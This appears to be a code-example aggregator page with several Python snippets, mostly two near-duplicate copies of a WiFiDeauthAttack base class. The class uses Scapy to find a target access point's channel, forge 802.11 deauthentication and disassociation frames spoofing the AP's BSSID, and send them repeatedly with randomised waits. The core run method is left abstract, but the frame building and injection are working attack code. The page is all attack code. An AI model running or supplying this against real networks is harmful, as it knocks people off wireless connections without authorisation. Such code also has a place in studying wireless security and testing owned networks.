Beispiel #1
0
 def __init__(self, interface, bssid):
     self.interface = WiFiInterface(interface)
     self.bssid = bssid.lower()
Beispiel #2
0
 def __init__(self, interface, bssid):
     self.interface = WiFiInterface(interface)
     self.bssid = bssid.lower()
Beispiel #3
0
class WiFiDeauthAttack(object):

    INITIAL_SEQ_NUMBER = 0
    PACKETS_PER_PROBE = 1
    NUM_PROBES = 50

    DEFAULT_DEAUTH_REASON = 3

    WIFI_BROADCAST_ADDRESS = 'ff:ff:ff:ff:ff:ff'

    def __init__(self, interface, bssid):
        self.interface = WiFiInterface(interface)
        self.bssid = bssid.lower()

    def run(self, executions, persistence_times):
        # First, retrieve the channel used by the target AP in order to
        # configure the wireless interface so it can inject deauth packets.
        self._log('Finding channel in use by AP %s...' % self.bssid)
        channel = ChannelFinder(self.interface, self.bssid).find()
        self._log('Done. Using channel %d.' % channel)
        self.interface.set_channel(channel)

        # Finally, run the attack as many times as requested.
        message = 'Running attack: iteration %d.'
        self._log(message % 1)
        self._do_run()
        for i in range(executions - 1):
            idle_time = random.randint(*persistence_times)
            self._log('Retrying again in %d seconds.' % idle_time)
            time.sleep(idle_time)
            self._log(message % (i + 2))
            self._do_run()
        self._log('Done!')

    def _log(self, message):
        logging.log(logging.INFO, message)

    def _build_packet(self, seq, source, dest, body):
        encoded_seq = seq << 4
        return   RadioTap()\
               / Dot11(SC=encoded_seq, addr1=dest, addr2=source,
                       addr3=self.bssid)\
               / body

    def _build_deauth_packet(self, seq, source, dest):
        body = Dot11Deauth(reason=self.DEFAULT_DEAUTH_REASON)
        return self._build_packet(seq, source, dest, body)

    def _build_disas_packet(self, seq, source, dest):
        body = Dot11Disas(reason=self.DEFAULT_DEAUTH_REASON)
        return self._build_packet(seq, source, dest, body)

    def _replicate_and_send(self, packet1, packet2):
        packets = [(packet1, packet2) for _ in range(self.PACKETS_PER_PROBE)]
        packets = list(chain.from_iterable(packets))
        self._send(packets)

    def _send(self, packets):
        sendp(packets, iface=self.interface.get_name(), verbose=0)

    def _do_run(self):
        raise NotImplementedError
Beispiel #4
0
class WiFiDeauthAttack(object):
    
    INITIAL_SEQ_NUMBER = 0
    PACKETS_PER_PROBE = 1
    NUM_PROBES = 50    
    
    DEFAULT_DEAUTH_REASON = 3
    
    WIFI_BROADCAST_ADDRESS = 'ff:ff:ff:ff:ff:ff'

    def __init__(self, interface, bssid):
        self.interface = WiFiInterface(interface)
        self.bssid = bssid.lower()
        
    def run(self, executions, persistence_times):
        # First, retrieve the channel used by the target AP in order to
        # configure the wireless interface so it can inject deauth packets.
        self._log('Finding channel in use by AP %s...' % self.bssid)
        channel = ChannelFinder(self.interface, self.bssid).find()
        self._log('Done. Using channel %d.' % channel)
        self.interface.set_channel(channel)

        # Finally, run the attack as many times as requested.
        message = 'Running attack: iteration %d.'
        self._log(message % 1)
        self._do_run()
        for i in range(executions-1):
            idle_time = random.randint(*persistence_times)
            self._log('Retrying again in %d seconds.' % idle_time)
            time.sleep(idle_time)
            self._log(message % (i+2))
            self._do_run()
        self._log('Done!')
            
    def _log(self, message):
        logging.log(logging.INFO, message)
        
    def _build_packet(self, seq, source, dest, body):
        encoded_seq = seq << 4
        return   RadioTap()\
               / Dot11(SC=encoded_seq, addr1=dest, addr2=source,
                       addr3=self.bssid)\
               / body        
        
    def _build_deauth_packet(self, seq, source, dest):
        body = Dot11Deauth(reason=self.DEFAULT_DEAUTH_REASON)
        return self._build_packet(seq, source, dest, body)

    def _build_disas_packet(self, seq, source, dest):
        body = Dot11Disas(reason=self.DEFAULT_DEAUTH_REASON)
        return self._build_packet(seq, source, dest, body)
    
    def _replicate_and_send(self, packet1, packet2):
        packets = [(packet1, packet2)
                   for _ in range(self.PACKETS_PER_PROBE)]
        packets = list(chain.from_iterable(packets))
        self._send(packets)
          
    def _send(self, packets):
        sendp(packets, iface=self.interface.get_name(), verbose=0)
        
    def _do_run(self):
        raise NotImplementedError